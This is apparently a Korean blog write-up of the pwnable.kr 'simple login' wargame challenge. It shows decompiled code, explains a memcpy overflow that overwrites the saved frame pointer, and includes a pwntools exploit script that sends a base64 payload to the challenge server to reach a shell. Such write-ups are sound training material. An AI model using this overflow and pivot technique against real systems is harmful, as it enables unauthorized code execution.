pwnable.kr - simple login

2021. 9. 23. 00:41WarGame/pwnable.kr

main문은 아래와 같다.

int __cdecl main(int argc, const char **argv, const char **envp)
{
  char v4; // [esp+4h] [ebp-3Ch]
  int v5; // [esp+18h] [ebp-28h] BYREF
  char input[30]; // [esp+1Eh] [ebp-22h] BYREF
  unsigned int base64_decoded; // [esp+3Ch] [ebp-4h]

  memset(input, 0, sizeof(input));
  setvbuf(stdout, 0, 2, 0);
  setvbuf(stdin, 0, 1, 0);
  printf("Authenticate : ", v4);
  _isoc99_scanf("%30s", input);
  memset(decoded_string, 0, 0xCu);
  v5 = 0;
  base64_decoded = Base64Decode(input, &v5);
  if ( base64_decoded > 0xC )
  {
    puts("Wrong Length");
  }
  else
  {
    memcpy(decoded_string, v5, base64_decoded);
    if ( auth(base64_decoded) == 1 )
      correct();
  }
  return 0;
}

분석해보면 12byte를 base64로 넣게 되면, 해당 값을 auth 내에서 비교하는 것 같지만,

_BOOL4 __cdecl auth(int length)
{
  char v2[8]; // [esp+14h] [ebp-14h] BYREF
  char *s2; // [esp+1Ch] [ebp-Ch]
  char v4[8]; // [esp+20h] [ebp-8h] BYREF

  memcpy(v4, decoded_string, length);
  s2 = calc_md5(v2, 12);
  printf("hash : %s\n", s2);
  return strcmp("f87cd601aa7fedca99018a8be88eda34", s2) == 0;
}

디코드 해본결과 해당값을 찾을 수 없었다.

하지만 해당 함수에서 memcpy에서 v4(8byte)보다 더 많이 넣을 수 있었고,

(12byte)까지 가능, sfp를 조작해서 흐름제어가 가능하다.

payload는 아래와 같다.

from pwn import *
import base64

r = remote('pwnable.kr', 9003)

shell = 0x08049284
decode_string = 0x0811EB40
pay = ""
pay += "\x90\x90\x90\x90"
pay += p32(shell)
pay += p32(decode_string)

r.sendline(base64.encodestring(pay))
r.interactive()

'WarGame > pwnable.kr' 카테고리의 다른 글

pwnable.kr. - fsb  (0) 2021.08.29
pwnable.kr - brain fuck  (0) 2021.08.27
pwnable.kr - horcruxes  (0) 2021.07.06
pwnable.kr - uaf  (0) 2018.09.10
pwnable.kr - cmd2  (0) 2018.09.09